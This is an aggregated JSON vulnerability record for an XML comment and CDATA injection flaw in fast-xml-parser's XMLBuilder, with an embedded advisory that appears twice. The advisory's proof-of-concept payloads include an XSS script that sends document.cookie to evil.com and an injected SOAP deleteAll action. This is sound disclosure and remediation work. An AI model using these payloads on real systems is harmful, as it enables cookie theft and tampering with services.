{"id":"CVE-2026-41650","aliases":["CLSA-2026-1777336754","CLSA-2026-1781744119","CLSA-2026-1781744123","CLSA-2026-1781744124","CLSA-2026-1781744131","CLSA-2026-1781744139","CLSA-2026-1786525960","CLSA-2026-1790597933","CLSA-2026-1792454133","CLSA-2026-1792698537","DEBIAN-CVE-2026-41650","EUVD-2026-28381","GHSA-gh4j-gqv2-49f6","ROOT-APP-NPM-CVE-2026-41650","UBUNTU-CVE-2026-41650","openSUSE-SU-2026:12070-1"],"status":"published","title":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00238,"percentile":0.14987,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-91"],"published":"2026-04-22T20:04:17Z","modified":"2026-11-05T13:28:24Z","fixes":[{"ecosystem":"npm","package":"fast-xml-parser","fixed_in":["5.7.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"fast-xml-parser","fixed_in":["4.5.6-tuxcare.1","4.5.7-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"fast-xml-parser","fixed_in":["4.4.1-aikido.9","5.2.5-aikido.4","5.3.4-aikido.7","5.5.9-aikido.2","5.5.8-aikido.2","5.3.6-aikido.5","5.3.4-aikido.8","5.3.6-aikido.6","5.6.0-aikido.1","3.21.1-aikido.1","4.5.4-aikido.1","4.5.0-aikido.1","4.5.1-aikido.4"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/fast-xml-parser","fixed_in":["4.4.1-root.io.8","5.2.5-root.io.3","5.5.9-root.io.1","5.3.4-root.io.6","5.5.8-root.io.1","5.3.6-root.io.4","4.4.1-root.io.9","5.2.5-root.io.4","5.3.4-root.io.7","5.5.9-root.io.2","5.5.8-root.io.2","5.3.6-root.io.5","5.3.4-root.io.8","5.3.6-root.io.6","5.6.0-root.io.1","3.21.1-root.io.1","4.5.4-root.io.1","4.5.0-root.io.1","4.5.1-root.io.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.7.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.6-tuxcare.0"},{"fixed":"4.5.6-tuxcare.1"}]}],"versions":["4.5.6"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.7-tuxcare.0"},{"fixed":"4.2.7-tuxcare.1"}]}],"versions":["4.2.7"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.19.0-tuxcare.0"},{"fixed":"3.19.0-tuxcare.1"}]}],"versions":["3.19.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.17.5-tuxcare.0"},{"fixed":"3.17.5-tuxcare.1"}]}],"versions":["3.17.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.14.0-tuxcare.0"},{"fixed":"3.14.0-tuxcare.1"}]}],"versions":["3.14.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.0-tuxcare.0"},{"fixed":"4.4.0-tuxcare.1"}]}],"versions":["4.4.0"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.7-tuxcare.0"},{"fixed":"4.5.7-tuxcare.2"}]}],"versions":["4.5.7","4.5.7-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.1-tuxcare.0"},{"fixed":"4.5.1-tuxcare.4"}]}],"versions":["4.5.1","4.5.1-tuxcare.1","4.5.1-tuxcare.2","4.5.1-tuxcare.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.5-tuxcare.0"},{"fixed":"5.2.5-tuxcare.1"}]}],"versions":["5.2.5"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.1-tuxcare.0"},{"fixed":"4.4.1-tuxcare.2"}]}],"versions":["4.4.1","4.4.1-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"Debian:12","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-10","11.4.0+dfsg2+~cs35.7.26-11","11.4.0+dfsg2+~cs35.7.26-12","11.4.0+dfsg2+~cs35.7.26-13","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16","11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19","11.4.0+dfsg2+~cs35.7.26-20","11.4.0+dfsg2+~cs35.7.26-21","11.4.0+dfsg2+~cs35.7.26-22","11.4.0+dfsg2+~cs35.7.26-7","11.4.0+dfsg2+~cs35.7.26-8","11.4.0+dfsg2+~cs35.7.26-9"]},{"source":"osv","ecosystem":"Debian:13","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-13","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16","11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19","11.4.0+dfsg2+~cs35.7.26-20","11.4.0+dfsg2+~cs35.7.26-21","11.4.0+dfsg2+~cs35.7.26-22"]},{"source":"osv","ecosystem":"Debian:14","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-13","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16","11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19","11.4.0+dfsg2+~cs35.7.26-20","11.4.0+dfsg2+~cs35.7.26-21","11.4.0+dfsg2+~cs35.7.26-22"]},{"source":"osv","ecosystem":"npm","package":"fast-xml-parser","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.7.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.1-aikido.9"},{"fixed":"5.2.5-aikido.4"},{"fixed":"5.3.4-aikido.7"},{"fixed":"5.5.9-aikido.2"},{"fixed":"5.5.8-aikido.2"},{"fixed":"5.3.6-aikido.5"},{"fixed":"5.3.4-aikido.8"},{"fixed":"5.3.6-aikido.6"},{"fixed":"5.6.0-aikido.1"},{"fixed":"3.21.1-aikido.1"},{"fixed":"4.5.4-aikido.1"},{"fixed":"4.5.0-aikido.1"},{"fixed":"4.5.1-aikido.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/fast-xml-parser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.1-root.io.8"},{"fixed":"5.2.5-root.io.3"},{"fixed":"5.5.9-root.io.1"},{"fixed":"5.3.4-root.io.6"},{"fixed":"5.5.8-root.io.1"},{"fixed":"5.3.6-root.io.4"},{"fixed":"4.4.1-root.io.9"},{"fixed":"5.2.5-root.io.4"},{"fixed":"5.3.4-root.io.7"},{"fixed":"5.5.9-root.io.2"},{"fixed":"5.5.8-root.io.2"},{"fixed":"5.3.6-root.io.5"},{"fixed":"5.3.4-root.io.8"},{"fixed":"5.3.6-root.io.6"},{"fixed":"5.6.0-root.io.1"},{"fixed":"3.21.1-root.io.1"},{"fixed":"4.5.4-root.io.1"},{"fixed":"4.5.0-root.io.1"},{"fixed":"4.5.1-root.io.4"}]}]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-7ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-10","11.4.0+dfsg2+~cs35.7.26-13ubuntu2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-18","11.4.0+dfsg2+~cs35.7.26-19"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-webfont","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.4.0+dfsg2+~cs35.7.26-13ubuntu2","11.4.0+dfsg2+~cs35.7.26-14","11.4.0+dfsg2+~cs35.7.26-15","11.4.0+dfsg2+~cs35.7.26-16build1","11.4.0+dfsg2+~cs35.7.26-18"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"velociraptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.76.7.0.git145.b60ef1146-1.1"}]}],"bundled":40}],"products":[{"vendor":"naturalintelligence","product":"fast-xml-parser"}],"references":[{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0","tags":["x_refsource_MISC","Product","Release Notes","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41650","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gh4j-gqv2-49f6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41650.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-41650","tags":["advisory"]},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-41650","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-41650","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-0914","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-12143","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-14257","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17535","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18348","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18636","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18639","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-29074","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45623","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49356","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-5329","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53550","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6290","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64951","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64952","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64954","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65903","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65912","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65913","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65914","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67314","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67320","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69152","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69153","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6948","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73086","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73646","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7573","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84369","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84370","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-41650","title":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","status":"published","published":"2026-05-07T13:36:55.871Z","modified":"2026-05-07T15:08:36.208Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-91"],"updated_at":"2026-11-02T13:41:19.694734Z"}],"euvd":[{"id":"EUVD-2026-28381","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","status":"published","published":"2026-05-07T13:36:55Z","modified":"2026-05-07T15:08:36Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:05:14.902845Z"}],"ghsa":[{"id":"GHSA-gh4j-gqv2-49f6","title":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","description":"# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser XMLBuilder does not escape the `--\u003e` sequence in comment content or the `]]\u003e` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of --\u003e\nbuildTextValNode(val, key, attrStr, level) {\n    // ...\n    if (key === this.options.commentPropName) {\n        return this.indentate(level) + `\u003c!--${val}--\u003e` + this.newLine;  // VULNERABLE\n    }\n    // ...\n    if (key === this.options.cdataPropName) {\n        return this.indentate(level) + `\u003c![CDATA[${val}]]\u003e` + this.newLine;  // VULNERABLE\n    }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from 'fast-xml-parser';\n\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst xml = {\n  root: {\n    \"#comment\": \"--\u003e\u003cscript\u003ealert('XSS')\u003c/script\u003e\u003c!--\",\n    data: \"legitimate content\"\n  }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n\u003croot\u003e\n  \u003c!----\u003e\u003cscript\u003ealert('XSS')\u003c/script\u003e\u003c!----\u003e\n  \u003cdata\u003elegitimate content\u003c/data\u003e\n\u003c/root\u003e\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n  cdataPropName: \"#cdata\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst rss = {\n  rss: { channel: { item: {\n    title: \"Article\",\n    description: {\n      \"#cdata\": \"Content]]\u003e\u003cscript\u003efetch('https://evil.com/'+document.cookie)\u003c/script\u003e\u003c![CDATA[more\"\n    }\n  }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n\u003crss\u003e\n  \u003cchannel\u003e\n    \u003citem\u003e\n      \u003ctitle\u003eArticle\u003c/title\u003e\n      \u003cdescription\u003e\n        \u003c![CDATA[Content]]\u003e\u003cscript\u003efetch('https://evil.com/'+document.cookie)\u003c/script\u003e\u003c![CDATA[more]]\u003e\n      \u003c/description\u003e\n    \u003c/item\u003e\n  \u003c/channel\u003e\n\u003c/rss\u003e\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true\n});\n\nconst soap = {\n  \"soap:Envelope\": {\n    \"soap:Body\": {\n      \"#comment\": \"Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!--\",\n      Action: \"getBalance\",\n      UserId: \"12345\"\n    }\n  }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n\u003csoap:Envelope\u003e\n  \u003csoap:Body\u003e\n    \u003c!--Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!----\u003e\n    \u003cAction\u003egetBalance\u003c/Action\u003e\n    \u003cUserId\u003e12345\u003c/UserId\u003e\n  \u003c/soap:Body\u003e\n\u003c/soap:Envelope\u003e\n```\n\nThe injected `\u003cAction\u003edeleteAll\u003c/Action\u003e` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n   Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n   Injection successful: true\n\n4. Round-trip test:\n   Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n   Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `\u003cscript\u003e` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n    const safeVal = String(val).replace(/--/g, '\u0026#45;\u0026#45;');\n    return this.indentate(level) + `\u003c!--${safeVal}--\u003e` + this.newLine;\n}\n\n// For CDATA: split on ]]\u003e and rejoin with separate CDATA sections\nif (key === this.options.cdataPropName) {\n    const safeVal = String(val).replace(/]]\u003e/g, ']]]]\u003e\u003c![CDATA[\u003e');\n    return this.indentate(level) + `\u003c![CDATA[${safeVal}]]\u003e` + this.newLine;\n}\n```","status":"published","published":"2026-04-22T20:04:17Z","modified":"2026-05-08T21:47:28Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-91"],"updated_at":"2026-11-02T14:40:04.762828Z"}],"nvd":[{"id":"CVE-2026-41650","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","status":"published","published":"2026-05-07T15:16:07.767Z","modified":"2026-10-26T20:10:00.16Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-91"],"updated_at":"2026-11-02T14:12:17.842772Z"}],"osv":[{"id":"CVE-2026-41650","title":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","status":"published","published":"2026-05-07T13:36:55.871Z","modified":"2026-10-28T02:31:00.392037586Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-91"],"updated_at":"2026-11-02T15:45:03.764807Z"},{"id":"DEBIAN-CVE-2026-41650","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","status":"published","published":"2026-05-07T15:16:07.767Z","modified":"2026-10-27T10:01:28.135377692Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:54.892385Z"},{"id":"GHSA-gh4j-gqv2-49f6","title":"fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters","description":"# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser XMLBuilder does not escape the `--\u003e` sequence in comment content or the `]]\u003e` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of --\u003e\nbuildTextValNode(val, key, attrStr, level) {\n    // ...\n    if (key === this.options.commentPropName) {\n        return this.indentate(level) + `\u003c!--${val}--\u003e` + this.newLine;  // VULNERABLE\n    }\n    // ...\n    if (key === this.options.cdataPropName) {\n        return this.indentate(level) + `\u003c![CDATA[${val}]]\u003e` + this.newLine;  // VULNERABLE\n    }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from 'fast-xml-parser';\n\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst xml = {\n  root: {\n    \"#comment\": \"--\u003e\u003cscript\u003ealert('XSS')\u003c/script\u003e\u003c!--\",\n    data: \"legitimate content\"\n  }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n\u003croot\u003e\n  \u003c!----\u003e\u003cscript\u003ealert('XSS')\u003c/script\u003e\u003c!----\u003e\n  \u003cdata\u003elegitimate content\u003c/data\u003e\n\u003c/root\u003e\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n  cdataPropName: \"#cdata\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst rss = {\n  rss: { channel: { item: {\n    title: \"Article\",\n    description: {\n      \"#cdata\": \"Content]]\u003e\u003cscript\u003efetch('https://evil.com/'+document.cookie)\u003c/script\u003e\u003c![CDATA[more\"\n    }\n  }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n\u003crss\u003e\n  \u003cchannel\u003e\n    \u003citem\u003e\n      \u003ctitle\u003eArticle\u003c/title\u003e\n      \u003cdescription\u003e\n        \u003c![CDATA[Content]]\u003e\u003cscript\u003efetch('https://evil.com/'+document.cookie)\u003c/script\u003e\u003c![CDATA[more]]\u003e\n      \u003c/description\u003e\n    \u003c/item\u003e\n  \u003c/channel\u003e\n\u003c/rss\u003e\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true\n});\n\nconst soap = {\n  \"soap:Envelope\": {\n    \"soap:Body\": {\n      \"#comment\": \"Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!--\",\n      Action: \"getBalance\",\n      UserId: \"12345\"\n    }\n  }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n\u003csoap:Envelope\u003e\n  \u003csoap:Body\u003e\n    \u003c!--Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!----\u003e\n    \u003cAction\u003egetBalance\u003c/Action\u003e\n    \u003cUserId\u003e12345\u003c/UserId\u003e\n  \u003c/soap:Body\u003e\n\u003c/soap:Envelope\u003e\n```\n\nThe injected `\u003cAction\u003edeleteAll\u003c/Action\u003e` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n   Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n   Injection successful: true\n\n4. Round-trip test:\n   Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n   Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `\u003cscript\u003e` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n    const safeVal = String(val).replace(/--/g, '\u0026#45;\u0026#45;');\n    return this.indentate(level) + `\u003c!--${safeVal}--\u003e` + this.newLine;\n}\n\n// For CDATA: split on ]]\u003e and rejoin with separate CDATA sections\nif (key === this.options.cdataPropName) {\n    const safeVal = String(val).replace(/]]\u003e/g, ']]]]\u003e\u003c![CDATA[\u003e');\n    return this.indentate(level) + `\u003c![CDATA[${safeVal}]]\u003e` + 